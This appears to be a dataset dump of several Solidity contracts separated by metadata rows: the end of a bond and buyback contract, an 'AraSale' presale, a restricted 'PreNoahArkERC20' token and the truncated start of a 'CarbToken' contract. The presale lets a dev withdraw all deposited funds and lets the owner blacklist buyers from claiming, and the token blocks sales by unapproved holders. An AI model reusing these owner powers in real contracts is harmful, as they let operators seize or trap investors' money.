timestampFrom : soldBonds.timestampTo,
timestampTo : nextTo,
payoutInUsd : _payout
}));
} else {
soldBondsInHour.push(SoldBonds({
timestampFrom : block.timestamp,
timestampTo : block.timestamp + 1 hours,
payoutInUsd : _payout
}));
}
}
}
function currentPayout() internal view returns (uint _amount) {
if (buybacksInHour.length == 0) return 0;
uint _max = 0;
if (buybacksInHour.length >= 24) _max = buybacksInHour.length - 24;
uint to = block.timestamp;
uint from = to - 24 hours;
for (uint i = _max; i < buybacksInHour.length; i++) {
SoldBonds memory soldBonds = buybacksInHour[i];
if (soldBonds.timestampFrom >= from && soldBonds.timestampFrom <= to) {
_amount = _amount.add(soldBonds.payoutInUsd);
}
}
return _amount;
}
function circuitBreakerActivated(uint _payout) public view returns (bool) {
if (!useCircuitBreaker) return false;
_payout = _payout.add(currentPayout());
return _payout > buybacksLimitUsd;
}
///
/// uniswap logic
///
function swapTokensForTokens(uint _amountIn, uint _minAmountOut) private {
address[] memory path = new address[](2);
path[0] = address(DAI);
path[1] = address(FHM);
// make the swap
try IUniswapV2Router01(uniswapV2Router).swapExactTokensForTokens(_amountIn,
_minAmountOut,
path,
address(this),
block.timestamp) {
// save the gas, not emit any event, its visible anyways
} catch (bytes memory e) {
emit SwapAndLiquifyFailed(e);
}
}
// returns sorted token addresses, used to handle return values from pairs sorted in this order
function sortTokens(address tokenA, address tokenB) internal pure returns (address token0, address token1) {
require(tokenA != tokenB, 'UniswapV2Library: IDENTICAL_ADDRESSES');
(token0, token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
require(token0 != address(0), 'UniswapV2Library: ZERO_ADDRESS');
}
// fetches and sorts the reserves for a pair
function getReserves(address _lp, address tokenA, address tokenB) internal view returns (uint reserveA, uint reserveB) {
(address token0,) = sortTokens(tokenA, tokenB);
(uint reserve0, uint reserve1,) = IUniswapV2Pair(_lp).getReserves();
(reserveA, reserveB) = tokenA == token0 ? (reserve0, reserve1) : (reserve1, reserve0);
}
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) internal pure returns (uint amountOut) {
require(amountIn > 0, 'UniswapV2Library: INSUFFICIENT_INPUT_AMOUNT');
require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY');
uint amountInWithFee = amountIn.mul(997);
uint numerator = amountInWithFee.mul(reserveOut);
uint denominator = reserveIn.mul(1000).add(amountInWithFee);
amountOut = numerator / denominator;
}
///
/// emergency logic
///
/// @notice Been able to recover any token which is sent to contract by mistake
/// @param token erc20 token
function emergencyRecoverToken(address token) external virtual onlyOwner {
uint amount = IERC20(token).balanceOf(address(this));
IERC20(token).safeTransfer(msg.sender, amount);
}
/// @notice Been able to recover any ftm/movr token sent to contract by mistake
function emergencyRecoverEth() external virtual onlyOwner {
uint amount = address(this).balance;
payable(msg.sender).transfer(amount);
}
}
| 175,627 | 378 |
339d681372dd236db82842a62bdb09736b5aa6da3286905b7438e2e156bbc5ab
| 35,339 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/65/65343935d38d9ffca896a0d845d8554c5c2f5fe8_AraSale.sol
| 4,126 | 17,317 |
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success,) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeERC20 {
using Address for address;
function safeTransfer(IERC20 token,
address to,
uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token,
address from,
address to,
uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token,
address spender,
uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender,
address recipient,
uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
function _transfer(address sender,
address recipient,
uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
function _approve(address owner,
address spender,
uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _beforeTokenTransfer(address from,
address to,
uint256 amount) internal virtual {}
function _afterTokenTransfer(address from,
address to,
uint256 amount) internal virtual {}
}
contract AraSale is Ownable {
using SafeERC20 for ERC20;
using Address for address;
uint constant MIMdecimals = 10 ** 18;
uint constant ARAdecimals = 10 ** 9;
uint public constant MAX_SOLD = 70000 * ARAdecimals;
uint public constant PRICE = 5 * MIMdecimals / ARAdecimals ;
uint public constant MIN_PRESALE_PER_ACCOUNT = 1 * ARAdecimals;
uint public constant MAX_PRESALE_PER_ACCOUNT = 100 * ARAdecimals;
address public dev;
ERC20 MIM;
uint public sold;
address public ARA;
bool canClaim;
bool privateSale;
mapping(address => uint256) public invested;
mapping(address => bool) public claimed;
mapping(address => bool) public approvedBuyers;
mapping(address => bool) public blacklisted;
constructor(address _dev, address mim) {
MIM = ERC20(mim);
dev = _dev;
sold = 0;
}
modifier onlyEOA() {
require(msg.sender == tx.origin, "!EOA");
_;
}
function _approveBuyer(address newBuyer_) internal onlyOwner() returns (bool) {
approvedBuyers[newBuyer_] = true;
return approvedBuyers[newBuyer_];
}
function approveBuyer(address newBuyer_) external onlyOwner() returns (bool) {
return _approveBuyer(newBuyer_);
}
function approveBuyers(address[] calldata newBuyers_) external onlyOwner() returns (uint256) {
for(uint256 iteration_ = 0; newBuyers_.length > iteration_; iteration_++) {
_approveBuyer(newBuyers_[iteration_]);
}
return newBuyers_.length;
}
function _deapproveBuyer(address newBuyer_) internal onlyOwner() returns (bool) {
approvedBuyers[newBuyer_] = false;
return approvedBuyers[newBuyer_];
}
function deapproveBuyer(address newBuyer_) external onlyOwner() returns (bool) {
return _deapproveBuyer(newBuyer_);
}
function _blacklistBuyer(address badBuyer_) internal onlyOwner() returns (bool) {
blacklisted[badBuyer_] = true;
return blacklisted[badBuyer_];
}
function blacklistBuyer(address badBuyer_) external onlyOwner() returns (bool) {
return _blacklistBuyer(badBuyer_);
}
function blacklistBuyers (address[] calldata badBuyers_) external onlyOwner() returns (uint256) {
for (uint256 iteration_ = 0; badBuyers_.length > iteration_; iteration_++) {
_blacklistBuyer(badBuyers_[iteration_]);
}
return badBuyers_.length;
}
function amountBuyable(address buyer) public view returns (uint256) {
uint256 max;
if (approvedBuyers[buyer] && privateSale) {
max = MAX_PRESALE_PER_ACCOUNT;
}
return max - invested[buyer];
}
function buyARA(uint256 amount) public onlyEOA {
require(sold < MAX_SOLD, "sold out");
require(sold + amount < MAX_SOLD, "not enough remaining");
require(amount <= amountBuyable(msg.sender), "amount exceeds buyable amount");
require(amount + invested[msg.sender] >= MIN_PRESALE_PER_ACCOUNT, "amount is not sufficient");
MIM.safeTransferFrom(msg.sender, address(this), amount * PRICE);
invested[msg.sender] += amount;
sold += amount;
}
// set ARA token address and activate claiming
function setClaimingActive(address ara) public {
require(msg.sender == dev, "!dev");
ARA = ara;
canClaim = true;
}
// claim ARA allocation based on old + new invested amounts
function claimARA() public onlyEOA {
require(canClaim, "cannot claim yet");
require(!claimed[msg.sender], "already claimed");
require(!blacklisted[msg.sender], "blacklisted");
if (invested[msg.sender] > 0) {
ERC20(ARA).transfer(msg.sender, invested[msg.sender]);
}
claimed[msg.sender] = true;
}
// token withdrawal by dev
function withdraw(address _token) public {
require(msg.sender == dev, "!dev");
uint b = IERC20(_token).balanceOf(address(this));
IERC20(_token).transfer(dev,b);
}
// manual activation of whitelisted sales
function activatePrivateSale() public {
require(msg.sender == dev, "!dev");
privateSale = true;
}
// manual deactivation of whitelisted sales
function deactivatePrivateSale() public {
require(msg.sender == dev, "!dev");
privateSale = false;
}
function setSold(uint _soldAmount) public onlyOwner {
sold = _soldAmount;
}
}
| 128,664 | 379 |
ec2eefdc287620ddd1672a17520afc8e43dcad9edc418b23454e281dcef877d2
| 12,357 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/ee/eEBb426DC07F28Ab34204e0C05056Dc0DEBDda15_PreNoahArkERC20.sol
| 3,092 | 11,963 |
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
function sqrrt(uint256 a) internal pure returns (uint c) {
if (a > 3) {
c = a;
uint b = add(div(a, 2), 1);
while (b < c) {
c = b;
b = div(add(div(a, b), b), 2);
}
} else if (a != 0) {
c = 1;
}
}
function percentageAmount(uint256 total_, uint8 percentage_) internal pure returns (uint256 percentAmount_) {
return div(mul(total_, percentage_), 1000);
}
function percentageOfTotal(uint256 part_, uint256 total_) internal pure returns (uint256 percent_) {
return div(mul(part_, 100) , total_);
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
function substractPercentage(uint256 total_, uint8 percentageToSub_) internal pure returns (uint256 result_) {
return sub(total_, div(mul(total_, percentageToSub_), 1000));
}
function quadraticPricing(uint256 payment_, uint256 multiplier_) internal pure returns (uint256) {
return sqrrt(mul(multiplier_, payment_));
}
function bondingCurve(uint256 supply_, uint256 multiplier_) internal pure returns (uint256) {
return mul(multiplier_, supply_);
}
}
library Context {
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this;
return msg.data;
}
}
contract Ownable {
address internal _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = Context._msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == Context._msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) internal _balances;
mapping (address => mapping (address => uint256)) internal _allowances;
uint256 internal _totalSupply;
string internal _name;
string internal _symbol;
uint8 internal _decimals;
constructor (string memory name_, string memory symbol_, uint8 decimals_) {
_name = name_;
_symbol = symbol_;
_decimals = decimals_;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(Context._msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(Context._msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, Context._msgSender(), _allowances[sender][Context._msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(Context._msgSender(), spender, _allowances[Context._msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(Context._msgSender(), spender, _allowances[Context._msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account_, uint256 ammount_) internal virtual {
require(account_ != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(this), account_, ammount_);
_totalSupply = _totalSupply.add(ammount_);
_balances[account_] = _balances[account_].add(ammount_);
emit Transfer(address(this), account_, ammount_);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
abstract contract Divine is ERC20, Ownable {
constructor (string memory name_, string memory symbol_, uint8 decimals_) ERC20(name_, symbol_, decimals_) {}
}
contract PreNoahArkERC20 is Divine {
using SafeMath for uint256;
bool public requireSellerApproval;
bool public allowMinting;
mapping(address => bool) public isApprovedSeller;
constructor() Divine("PreNoahArkERC20", "pNRK", 18) {
uint256 initialSupply_ = 1000000000 * 1e18;
requireSellerApproval = true;
allowMinting = true;
_addApprovedSeller(address(this));
_addApprovedSeller(msg.sender);
_mint(owner(), initialSupply_);
}
function allowOpenTrading() external onlyOwner() returns (bool) {
requireSellerApproval = false;
return requireSellerApproval;
}
function disableMinting() external onlyOwner() returns (bool) {
allowMinting = false;
return allowMinting;
}
function _addApprovedSeller(address approvedSeller_) internal {
isApprovedSeller[approvedSeller_] = true;
}
function addApprovedSeller(address approvedSeller_) external onlyOwner() returns (bool) {
_addApprovedSeller(approvedSeller_);
return isApprovedSeller[approvedSeller_];
}
function addApprovedSellers(address[] calldata approvedSellers_) external onlyOwner() returns (bool) {
for(uint256 iteration_; approvedSellers_.length > iteration_; iteration_++) {
_addApprovedSeller(approvedSellers_[iteration_]);
}
return true;
}
function _removeApprovedSeller(address disapprovedSeller_) internal {
isApprovedSeller[disapprovedSeller_] = false;
}
function removeApprovedSeller(address disapprovedSeller_) external onlyOwner() returns (bool) {
_removeApprovedSeller(disapprovedSeller_);
return isApprovedSeller[disapprovedSeller_];
}
function removeApprovedSellers(address[] calldata disapprovedSellers_) external onlyOwner() returns (bool) {
for(uint256 iteration_; disapprovedSellers_.length > iteration_; iteration_++) {
_removeApprovedSeller(disapprovedSellers_[iteration_]);
}
return true;
}
function _beforeTokenTransfer(address from_, address to_, uint256 amount_) internal override {
require((_balances[to_] > 0 || isApprovedSeller[from_] == true), "Account not approved to transfer pOLY.");
}
function mint(address recipient_, uint256 amount_) public virtual onlyOwner() {
require(allowMinting, "Minting has been disabled.");
_mint(recipient_, amount_);
}
function burn(uint256 amount_) public virtual {
_burn(msg.sender, amount_);
}
function burnFrom(address account_, uint256 amount_) public virtual {
_burnFrom(account_, amount_);
}
function _burnFrom(address account_, uint256 amount_) internal virtual {
uint256 decreasedAllowance_ = allowance(account_, msg.sender).sub(amount_, "ERC20: burn amount exceeds allowance");
_approve(account_, msg.sender, decreasedAllowance_);
_burn(account_, amount_);
}
}
| 105,176 | 380 |
a93b4be1d4377c80175b2db58754c77529faace6ffbfea9c6dcb30b2c529db7a
| 30,967 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/mainnet/18/18e3cf22ae1ec521e07d532985cac0a1a454cf6f_Token.sol
| 3,749 | 14,801 |
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name_, string memory symbol_) public {
_name = name_;
_symbol = symbol_;
_decimals = 18;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract Token is ERC20("CarbToken", "CARB"), Ownable {
/// @notice Creates `_amount` token to `_to`. Must only be called by the owner (MasterChef).
function mint(address _to, uint256 _amount) public onlyOwner {
_mint(_to, _amount);
_moveDelegates(address(0), _delegates[_to], _amount);
}
// Copied and modified from YAM code:
// https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernanceStorage.sol
